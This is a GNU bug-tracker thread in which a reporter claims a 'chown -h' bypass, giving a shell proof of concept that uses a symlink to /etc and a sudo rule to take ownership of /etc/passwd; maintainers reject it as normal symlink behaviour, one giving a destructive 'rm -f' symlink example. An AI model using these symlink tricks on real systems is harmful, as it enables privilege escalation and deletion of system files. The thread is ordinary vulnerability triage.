GNU bug report logs - #35654
We've found a vulnerability of gnu chown, please check it and request a cve id for us.

Previous Next

Package: coreutils;

Reported by: st0n3 ss <ssst0n3 <at> gmail.com>

Date: Thu, 9 May 2019 16:01:02 UTC

Severity: normal

Done: Assaf Gordon <assafgordon <at> gmail.com>

Bug is archived. No further changes may be made.

To add a comment to this bug, you must first unarchive it, by sending
a message to control AT debbugs.gnu.org, with unarchive 35654 in the body.
You can then email your comments to 35654 AT debbugs.gnu.org in the normal way.

Toggle the display of automated, internal messages from the tracker.

View this report as an mbox folder, status mbox, maintainer mbox


Report forwarded to bug-coreutils <at> gnu.org:
bug#35654; Package coreutils. (Thu, 09 May 2019 16:01:02 GMT) Full text and rfc822 format available.

Acknowledgement sent to st0n3 ss <ssst0n3 <at> gmail.com>:
New bug report received and forwarded. Copy sent to bug-coreutils <at> gnu.org. (Thu, 09 May 2019 16:01:02 GMT) Full text and rfc822 format available.

Message #5 received at submit <at> debbugs.gnu.org (full text, mbox):

From: st0n3 ss <ssst0n3 <at> gmail.com>
To: bug-coreutils <at> gnu.org
Cc: Ch4r1l3 <at> protonmail.com
Subject: We've found a vulnerability of gnu chown, please check it and request
 a cve id for us.
Date: Thu, 9 May 2019 23:53:11 +0800
[Message part 1 (text/plain, inline)]
Hello! we have found a vulnerability of command chown, please check it.If
it is a vulnerability. please request a cve id for use, thank you!chown -h
bypass


   - chown -h bypass
   <http://47.106.143.91:8899/5bAnod4TTjqf3FpP9GTOiQ?view#chown--h-bypass>
      - 1. Description
      <http://47.106.143.91:8899/5bAnod4TTjqf3FpP9GTOiQ?view#1-Description>
         - 1.1 Precondition:
         <http://47.106.143.91:8899/5bAnod4TTjqf3FpP9GTOiQ?view#11-Precondition>
         - 1.2 The Process of Attack:
         <http://47.106.143.91:8899/5bAnod4TTjqf3FpP9GTOiQ?view#12-The-Process-of-Attack>
      - 2. Code Analysis
      <http://47.106.143.91:8899/5bAnod4TTjqf3FpP9GTOiQ?view#2-Code-Analysis>
      - 3. poc <http://47.106.143.91:8899/5bAnod4TTjqf3FpP9GTOiQ?view#3-poc>
      - 4. cvss3.0 score
      <http://47.106.143.91:8899/5bAnod4TTjqf3FpP9GTOiQ?view#4-cvss30-score>

<http://47.106.143.91:8899/5bAnod4TTjqf3FpP9GTOiQ?view#1-Description>1.
Description

In the user manual of command chown, the description of the -h option is as
follows. If we use command chown with -h option, only symbolic links will
be affected rather than any referenced file.

-h, --no-dereference affect symbolic links instead of any referenced file
(useful only on systems that can change the
ownership of a symlink)

But we found we can bypass the -h option to affected the referenced file.
<http://47.106.143.91:8899/5bAnod4TTjqf3FpP9GTOiQ?view#11-Precondition>1.1
Precondition:

The attacker already knows:

   - The user who has root permission will execute ‘chown’ to a specific
   file under one directory owned by a normal user who does not have root
   permission.
   - The attacker can control that normal user.
   - The user who has root permission will change the owner or group user
   of that file to that normal user.

<http://47.106.143.91:8899/5bAnod4TTjqf3FpP9GTOiQ?view#12-The-Process-of-Attack>1.2
The Process of Attack:

   -

   First, the attacker uses the permission of a normal user to create a
   symlink linked to a system directory, which is not owned by the normal
   user(For example, /etc or directory owned by the root user or wheel
   group) .
   -

   Besides, the following requirement should be satisfied:
   - There’s a file under the referenced directory the having same name
      with the file that will be chowned by root permission user.
   -

   Then, waitting for the user who has root permission to execute the
chown command.
   This will make the real file’s owner or group changed rather than the
   symlink. ( The attacker can also execute the chown command by himself if
   he can run the sudo or pkexec command set by the root user. )

<http://47.106.143.91:8899/5bAnod4TTjqf3FpP9GTOiQ?view#2-Code-Analysis>2.
Code Analysis

   -

   First, chown.c will parse the parameters. The variable dereference is
   set to 0 if -hoption is given.

   /* chown.c */
           case 'h': /* --no-dereference: affect symlinks */
             dereference = 0;
             break;

   -

   Then, chopt.affect_symlink_referent will be set as True if -h option is
   given.

   /* chown.c */
     chopt.affect_symlink_referent = (dereference != 0);

   -

   Last, in file chown-core.c, the operator will affect the symlink itself
   if chopt.affect_symlink_referent is True and the target is a symlink.
   The target is a file rather than a symlink if attacker change the directory
   of the target file to a symbolic link which is linked to a directory . This
   is contrary to expectations! The file_stats becomes the state of the
   file under the referenced directory rather than the file under the symbolic
   link. (For example, in our poc, the file poc/passwd is not a symlink and
   the file_stats actually is the state of file /etc/passwd). Then, the
   file under the referenced directory’s owner will be changed.

   /* chown-core.c */
         /* If this is a symlink and we're dereferencing them,
            stat it to get info on the referent.  */
         if (chopt->affect_symlink_referent && S_ISLNK (file_stats->st_mode))
           {
             if (fstatat (fts->fts_cwd_fd, file, &stat_buf, 0) != 0)
               {
                 if (! chopt->force_silent)
                   error (0, errno, _("cannot dereference %s"),
                          quoteaf (file_full_name));
                 ok = false;
               }

             file_stats = &stat_buf;
           }


<http://47.106.143.91:8899/5bAnod4TTjqf3FpP9GTOiQ?view#3-poc>3. poc

First, there’s a directory /home/st0n3/chown_test owned by user st0n3.

root <at> e87d06a38f04:~# ls -lahd /home/st0n3/chown_test
drwxr-xr-x 3 st0n3 st0n3 4.0K May  9 13:28 /home/st0n3/chown_test

The user root has a directory poc under directory /home/st0n3/chown_test,
and a file passwdunder directory poc.

root <at> e87d06a38f04:~# ls -lahd /home/st0n3/chown_test/poc/
drwxr-xr-x 2 root root 4.0K May  9 13:29 /home/st0n3/chown_test/poc/
root <at> e87d06a38f04:~# ls -lah /home/st0n3/chown_test/poc/passwd
-rw-r--r-- 1 root root 0 May  9 13:29 /home/st0n3/chown_test/poc/passwd

Now, the administrator wants user st0n3 has permission to change the owner
of /home/st0n3/chown_test/poc/passwd to st0n3.

According to 'only symbolic links will be affected rather than any
referenced file', the administrator assumes that chown -h st0n3 [some root
files under st0n3's directory]will only affect these file.

If the administrator set this ‘sudo rule’: st0n3 ALL=(root) NOPASSWD:
/bin/chown -h st0n3 /home/st0n3/chown_test/poc/passwd. As the manual of
command chown, user st0n3 only can change the owner of
/home/st0n3/chown_test/poc/passwd. If st0n3 change directory poc to a
symbolic link, the operator of user st0n3 still will not affect other root
files.

# sudo -U st0n3 -l
Matching Defaults entries for st0n3 on e87d06a38f04:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User st0n3 may run the following commands on e87d06a38f04:
    (root) NOPASSWD: /bin/chown -h st0n3 /home/st0n3/chown_test/poc/passwd

But there is a vulnerability, user st0n3 can use this vulnerability to
change the owner of other root files. Let’s see it.

st0n3 <at> e87d06a38f04:~/chown_test$ whoami
st0n3
st0n3 <at> e87d06a38f04:~/chown_test$ id
uid=1000(st0n3) gid=1000(st0n3) groups=1000(st0n3)
st0n3 <at> e87d06a38f04:~/chown_test$ sudo -l
Matching Defaults entries for st0n3 on e87d06a38f04:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User st0n3 may run the following commands on e87d06a38f04:
    (root) NOPASSWD: /bin/chown -h st0n3 /home/st0n3/chown_test/poc/passwd
st0n3 <at> e87d06a38f04:~/chown_test$ ls -lah
total 12K
drwxr-xr-x 3 st0n3 st0n3 4.0K May  9 13:28 .
drwxr-xr-x 3 st0n3 st0n3 4.0K May  9 13:28 ..
drwxr-xr-x 2 root  root  4.0K May  9 13:34 poc

st0n3 <at> e87d06a38f04:~/chown_test$ mv poc/ poc1
st0n3 <at> e87d06a38f04:~/chown_test$ ls -lah
total 12K
drwxr-xr-x 3 st0n3 st0n3 4.0K May  9 13:46 .
drwxr-xr-x 3 st0n3 st0n3 4.0K May  9 13:28 ..
drwxr-xr-x 2 root  root  4.0K May  9 13:34 poc1

st0n3 <at> e87d06a38f04:~/chown_test$ ln -s /etc poc
st0n3 <at> e87d06a38f04:~/chown_test$ ls -lah
total 12K
drwxr-xr-x 3 st0n3 st0n3 4.0K May  9 13:47 .
drwxr-xr-x 3 st0n3 st0n3 4.0K May  9 13:28 ..
lrwxrwxrwx 1 st0n3 st0n3    4 May  9 13:47 poc -> /etc
drwxr-xr-x 2 root  root  4.0K May  9 13:34 poc1
st0n3 <at> e87d06a38f04:~/chown_test$ ls -lah /etc/passwd
-rw-r--r-- 1 root root 970 May  9 13:13 /etc/passwd
st0n3 <at> e87d06a38f04:~/chown_test$ sudo /bin/chown -h st0n3
/home/st0n3/chown_test/poc/passwd
st0n3 <at> e87d06a38f04:~/chown_test$ ls -lah /etc/passwd
-rw-r--r-- 1 st0n3 root 970 May  9 13:13 /etc/passwd

As you can see, the owner of file /etc/passwd has been changed to user st0n3
.
<http://47.106.143.91:8899/5bAnod4TTjqf3FpP9GTOiQ?view#4-cvss30-score>4.
cvss3.0 score

if the attacker already can execute command chown by using sudo or pkexec
which is set by root permission user, the vector ‘UI’ is None. If there’s a
system file having the same name with the file will be chowned by root
permission user, the vector ‘C’,‘I’,‘H’ are all ‘High’. And the score of
cvss3.0 is 7.8;
7.8 CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

if the attacker only knows when the root permission user will execute
command chown but cannot execute by himself, the vector ‘UI’ is ‘Required’.
In this case, the score is 7.3 .
7.3 CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
[Message part 2 (text/html, inline)]
[chown_-h_bypass.md (text/markdown, attachment)]

Information forwarded to bug-coreutils <at> gnu.org:
bug#35654; Package coreutils. (Thu, 09 May 2019 16:29:01 GMT) Full text and rfc822 format available.

Message #8 received at 35654 <at> debbugs.gnu.org (full text, mbox):

From: st0n3 ss <ssst0n3 <at> gmail.com>
To: 35654 <at> debbugs.gnu.org
Subject: please delete 35654
Date: Fri, 10 May 2019 00:21:56 +0800
[Message part 1 (text/plain, inline)]
i'm so stupid. the typesetting of 35654 is too bad. i will report it again.
[Message part 2 (text/html, inline)]

Information forwarded to bug-coreutils <at> gnu.org:
bug#35654; Package coreutils. (Thu, 09 May 2019 17:03:01 GMT) Full text and rfc822 format available.

Message #11 received at 35654 <at> debbugs.gnu.org (full text, mbox):

From: st0n3 ss <ssst0n3 <at> gmail.com>
To: 35654 <at> debbugs.gnu.org
Subject: markdown version.
Date: Fri, 10 May 2019 01:02:17 +0800
[Message part 1 (text/plain, inline)]
# chown -h bypass

[TOC]

## 1. Description
In the user manual of command **chown**, the description of the `-h` option
is as follows. If we use command `chown` with `-h` option, only symbolic
links will be affected rather than any referenced file.
>   -h, --no-dereference   affect symbolic links instead of any referenced
file
                         (useful only on systems that can change the
                         ownership of a symlink)

But we found we can bypass the `-h` option to affected the referenced file.

### 1.1 Precondition:
The attacker already knows:
* The user who has root permission will execute 'chown' to a specific file
under one directory owned by a normal user who does not have root
permission.
* The attacker can control that normal user.
* The user who has root permission will change the owner or group user of
that file to that normal user.


### 1.2 The Process of Attack:
* First, the attacker uses the permission of a normal user to create a
symlink linked to a system directory, which is not owned by the normal
user(For example, `/etc` or directory owned by the root user or wheel
group) .

* Besides, the following requirement should be satisfied:
    * There's a file under the referenced directory the having same name
with the file that will be chowned by root permission user.

* Then, waitting for the user who has root permission to execute the
`chown` command. This will make the real file's owner or group changed
rather than the symlink. ( The attacker can also execute the `chown`
command by himself if he can run the `sudo` or `pkexec` command set by the
`root` user. )

## 2. Code Analysis

* First, `chown.c` will parse the parameters. The variable `dereference` is
set to `0` if `-h` option is given.
    ```
    /* chown.c */
            case 'h': /* --no-dereference: affect symlinks */
              dereference = 0;
              break;
    ```

* Then, `chopt.affect_symlink_referent` will be set as `True` if `-h`
option is given.

    ```
    /* chown.c */
      chopt.affect_symlink_referent = (dereference != 0);
    ```

* Last, in file `chown-core.c`, the operator will affect the symlink itself
if `chopt.affect_symlink_referent` is True and the target is a symlink. The
target is a file rather than a symlink if attacker change the directory of
the target file to a symbolic link which is linked to a directory . This is
contrary to expectations! The `file_stats` becomes the state of the file
under the referenced directory rather than the file under the symbolic
link. (For example, in our poc, the file `poc/passwd` is not a symlink and
the file_stats actually is the state of file `/etc/passwd`). Then, the file
under the referenced directory's owner will be changed.

    ```
    /* chown-core.c */
          /* If this is a symlink and we're dereferencing them,
             stat it to get info on the referent.  */
          if (chopt->affect_symlink_referent && S_ISLNK
(file_stats->st_mode))
            {
              if (fstatat (fts->fts_cwd_fd, file, &stat_buf, 0) != 0)
                {
                  if (! chopt->force_silent)
                    error (0, errno, _("cannot dereference %s"),
                           quoteaf (file_full_name));
                  ok = false;
                }

              file_stats = &stat_buf;
            }
    ```

## 3. poc
First, there's a directory `/home/st0n3/chown_test` owned by user `st0n3`.
```shell=
root <at> e87d06a38f04:~# ls -lahd /home/st0n3/chown_test
drwxr-xr-x 3 st0n3 st0n3 4.0K May  9 13:28 /home/st0n3/chown_test
```

The user root has a directory `poc`  under directory
`/home/st0n3/chown_test`, and a file `passwd` under directory `poc`.
```shell=
root <at> e87d06a38f04:~# ls -lahd /home/st0n3/chown_test/poc/
drwxr-xr-x 2 root root 4.0K May  9 13:29 /home/st0n3/chown_test/poc/
root <at> e87d06a38f04:~# ls -lah /home/st0n3/chown_test/poc/passwd
-rw-r--r-- 1 root root 0 May  9 13:29 /home/st0n3/chown_test/poc/passwd
```

Now, the administrator wants user `st0n3` has permission to change the
owner of `/home/st0n3/chown_test/poc/passwd` to `st0n3`.

According to `'only symbolic links will be affected rather than any
referenced file'`, the administrator assumes that `chown -h st0n3 [some
root files under st0n3's directory]` will only affect these file.

If the administrator set this 'sudo rule': `st0n3 ALL=(root) NOPASSWD:
/bin/chown -h st0n3 /home/st0n3/chown_test/poc/passwd`. As the manual of
command `chown`, user `st0n3` only can change the owner of
`/home/st0n3/chown_test/poc/passwd`. If st0n3 change directory `poc` to a
symbolic link, the operator of user `st0n3` still will not affect other
root files.

```
# sudo -U st0n3 -l
Matching Defaults entries for st0n3 on e87d06a38f04:
    env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User st0n3 may run the following commands on e87d06a38f04:
    (root) NOPASSWD: /bin/chown -h st0n3 /home/st0n3/chown_test/poc/passwd
```

But there is a vulnerability, user `st0n3`  can use this vulnerability to
change the owner of other root files. Let's see it.

```shell=
st0n3 <at> e87d06a38f04:~/chown_test$ whoami
st0n3
st0n3 <at> e87d06a38f04:~/chown_test$ id
uid=1000(st0n3) gid=1000(st0n3) groups=1000(st0n3)
st0n3 <at> e87d06a38f04:~/chown_test$ sudo -l
Matching Defaults entries for st0n3 on e87d06a38f04:
    env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User st0n3 may run the following commands on e87d06a38f04:
    (root) NOPASSWD: /bin/chown -h st0n3 /home/st0n3/chown_test/poc/passwd
st0n3 <at> e87d06a38f04:~/chown_test$ ls -lah
total 12K
drwxr-xr-x 3 st0n3 st0n3 4.0K May  9 13:28 .
drwxr-xr-x 3 st0n3 st0n3 4.0K May  9 13:28 ..
drwxr-xr-x 2 root  root  4.0K May  9 13:34 poc

st0n3 <at> e87d06a38f04:~/chown_test$ mv poc/ poc1
st0n3 <at> e87d06a38f04:~/chown_test$ ls -lah
total 12K
drwxr-xr-x 3 st0n3 st0n3 4.0K May  9 13:46 .
drwxr-xr-x 3 st0n3 st0n3 4.0K May  9 13:28 ..
drwxr-xr-x 2 root  root  4.0K May  9 13:34 poc1

st0n3 <at> e87d06a38f04:~/chown_test$ ln -s /etc poc
st0n3 <at> e87d06a38f04:~/chown_test$ ls -lah
total 12K
drwxr-xr-x 3 st0n3 st0n3 4.0K May  9 13:47 .
drwxr-xr-x 3 st0n3 st0n3 4.0K May  9 13:28 ..
lrwxrwxrwx 1 st0n3 st0n3    4 May  9 13:47 poc -> /etc
drwxr-xr-x 2 root  root  4.0K May  9 13:34 poc1
st0n3 <at> e87d06a38f04:~/chown_test$ ls -lah /etc/passwd

-rw-r--r-- 1 root root 970 May  9 13:13 /etc/passwd
st0n3 <at> e87d06a38f04:~/chown_test$ sudo /bin/chown -h st0n3
/home/st0n3/chown_test/poc/passwd
st0n3 <at> e87d06a38f04:~/chown_test$ ls -lah /etc/passwd
-rw-r--r-- 1 st0n3 root 970 May  9 13:13 /etc/passwd
```

As you can see, the owner of file `/etc/passwd` has been changed to user
`st0n3`.

## 4. cvss3.0 score
if the attacker already can execute command `chown` by using sudo or pkexec
which is set by root permission user, the vector 'UI' is None. If there's a
system file having the same name with the file will be chowned by root
permission user, the vector 'C','I','H' are all 'High'. And the score of
cvss3.0 is 7.8;
7.8 CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

if the attacker only knows when the `root` permission user will execute
command `chown` but cannot execute by himself, the vector 'UI' is
'Required'. In this case, the score is 7.3 .
7.3 CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
[Message part 2 (text/html, inline)]

Information forwarded to bug-coreutils <at> gnu.org:
bug#35654; Package coreutils. (Thu, 09 May 2019 20:02:02 GMT) Full text and rfc822 format available.

Message #14 received at 35654 <at> debbugs.gnu.org (full text, mbox):

From: Paul Eggert <eggert <at> cs.ucla.edu>
To: st0n3 ss <ssst0n3 <at> gmail.com>
Cc: 35654 <at> debbugs.gnu.org, Ch4r1l3 <at> protonmail.com
Subject: Re: bug#35654: We've found a vulnerability of gnu chown, please check
 it and request a cve id for us.
Date: Thu, 9 May 2019 13:01:49 -0700
I don't see any vulnerability here. The -h option of 'chown -h A/B/C'
does not affect whether A and A/B are followed if they are symbolic
links: they are always followed, regardless of whether the -h option is
specified. The -h option affects only whether A/B/C is followed if A/B/C
is a symbolic link. This is a well-known property of symbolic links.




Information forwarded to bug-coreutils <at> gnu.org:
bug#35654; Package coreutils. (Fri, 10 May 2019 00:30:02 GMT) Full text and rfc822 format available.

Message #17 received at 35654 <at> debbugs.gnu.org (full text, mbox):

From: st0n3 ss <ssst0n3 <at> gmail.com>
To: Paul Eggert <eggert <at> cs.ucla.edu>
Cc: 35654 <at> debbugs.gnu.org, Ch4r1l3 <at> protonmail.com
Subject: Re: bug#35654: We've found a vulnerability of gnu chown, please check
 it and request a cve id for us.
Date: Fri, 10 May 2019 08:28:47 +0800
[Message part 1 (text/plain, inline)]
I understand what you mean.
The manual tell me -h "affect symbolic links instead of any referenced
file", now you say A/B/C is not a symbolic link if B is a symbolic.
It's confusing, right?

Paul Eggert <eggert <at> cs.ucla.edu> 于2019年5月10日周五 上午4:01写道:

> I don't see any vulnerability here. The -h option of 'chown -h A/B/C'
> does not affect whether A and A/B are followed if they are symbolic
> links: they are always followed, regardless of whether the -h option is
> specified. The -h option affects only whether A/B/C is followed if A/B/C
> is a symbolic link. This is a well-known property of symbolic links.
>
[Message part 2 (text/html, inline)]

Information forwarded to bug-coreutils <at> gnu.org:
bug#35654; Package coreutils. (Fri, 10 May 2019 04:26:01 GMT) Full text and rfc822 format available.

Message #20 received at 35654 <at> debbugs.gnu.org (full text, mbox):

From: Paul Eggert <eggert <at> cs.ucla.edu>
To: st0n3 ss <ssst0n3 <at> gmail.com>
Cc: 35654 <at> debbugs.gnu.org, Ch4r1l3 <at> protonmail.com
Subject: Re: bug#35654: We've found a vulnerability of gnu chown, please check
 it and request a cve id for us.
Date: Thu, 9 May 2019 21:24:55 -0700
On 5/9/19 5:28 PM, st0n3 ss wrote:
> ou say A/B/C is not a symbolic link if B is a symbolic.
> It's confusing, right?

No more confusing than saying A/B/C is not a directory merely because B
is a directory.





Information forwarded to bug-coreutils <at> gnu.org:
bug#35654; Package coreutils. (Tue, 14 May 2019 07:54:01 GMT) Full text and rfc822 format available.

Message #23 received at 35654 <at> debbugs.gnu.org (full text, mbox):

From: Bob Proulx <bob <at> proulx.com>
To: st0n3 ss <ssst0n3 <at> gmail.com>, 35654 <at> debbugs.gnu.org, Ch4r1l3 <at> protonmail.com
Subject: Re: bug#35654: We've found a vulnerability of gnu chown, please
 check it and request a cve id for us.
Date: Tue, 14 May 2019 01:53:28 -0600
The essence of this report appears to be an attack of the form, can we
get the root user to perform an unsafe operation, in this case can we
trick root into dereferencing a symbolic link, such as from ./poc to
/etc, in order to perform a further action through the symlink.

However this is not a bug in chown's -h implementation.  Nor is it
particular to chown as this could be any other command as the trick to
dereference the symlink first before performing whatever action.  For
example here is a recipe using the same attack but without chown.

  ln -s /etc /tmp/junk
  # Now we trick root into reaching through the symlink.
  # No way root will see this trick coming!
  rm -f /tmp/junk/*
  # This removes the files from /etc.

The above does not use chown -h but is essentially the same attack.
However again this is not a bug in 'rm' nor 'ln'.  It is simply trying
to trick the superuser into doing unsafe actions.  It requires
cooperation on the part of root in order to perform the action.

But why would the superuser do such silly things?  This is very much
like Coyote painting a black image on the side of the mountain hoping
the Road Runner will mistake it for a tunnel and run into the mountain
becoming dinner for Coyote.  But the Road Runner never fell for such
tricks and neither should the superuser.  That it might happen does
not make black paint a threat to the Road Runner.

The use of 'sudo' does not change the nature of the issue.  Only the
root user can install sudo and configure it to perform the unsafe
actions as you have described.  And it also requires a local user to
look the superuser in the eye and try to con them up close and
personal.

Note that this is essentially the same in legacy Unix and in *BSD
where symbolic links originated.  The community has had decades to
poke at them.  It is even more interesting to poke at systems that
allow environment variables in symbolic links in which case the target
is dependent upon the runtime environment variables!

The root user is the superuser and with great power comes great
responsibility.  Extraordinary claims require extraordinary proof.  In
order for symlinks to be considered as a security vulnerability a more
convincing case will need to be presented.

Bob




Information forwarded to bug-coreutils <at> gnu.org:
bug#35654; Package coreutils. (Wed, 26 Jun 2019 15:01:02 GMT) Full text and rfc822 format available.

Message #26 received at 35654 <at> debbugs.gnu.org (full text, mbox):

From: Assaf Gordon <assafgordon <at> gmail.com>
To: st0n3 ss <ssst0n3 <at> gmail.com>
Cc: 35654 <at> debbugs.gnu.org, Ch4r1l3 <at> protonmail.com
Subject: Re: bug#35654: We've found a vulnerability of gnu chown, please
 check it and request a cve id for us.
Date: Wed, 26 Jun 2019 09:00:26 -0600
tag 35654
close 35654
stop

Hello,

On Thu, May 09, 2019 at 11:53:11PM +0800, st0n3 ss wrote:
> Hello! we have found a vulnerability of command chown, please check it.If
> it is a vulnerability. please request a cve id for use, thank you!chown -h
> bypass

Given Paul's and Bob's detailed answers, I'm closing this as "not a bug".

Discussion can continue by replying to this thread.

regards,
 - assaf




bug closed, send any further explanations to 35654 <at> debbugs.gnu.org and st0n3 ss <ssst0n3 <at> gmail.com> Request was from Assaf Gordon <assafgordon <at> gmail.com> to control <at> debbugs.gnu.org. (Wed, 26 Jun 2019 15:01:02 GMT) Full text and rfc822 format available.

bug archived. Request was from Debbugs Internal Request <help-debbugs <at> gnu.org> to internal_control <at> debbugs.gnu.org. (Thu, 25 Jul 2019 11:24:10 GMT) Full text and rfc822 format available.

This bug report was last modified 4 years and 249 days ago.

Previous Next


GNU bug tracking system
Copyright (C) 1999 Darren O. Benham, 1997,2003 nCipher Corporation Ltd, 1994-97 Ian Jackson.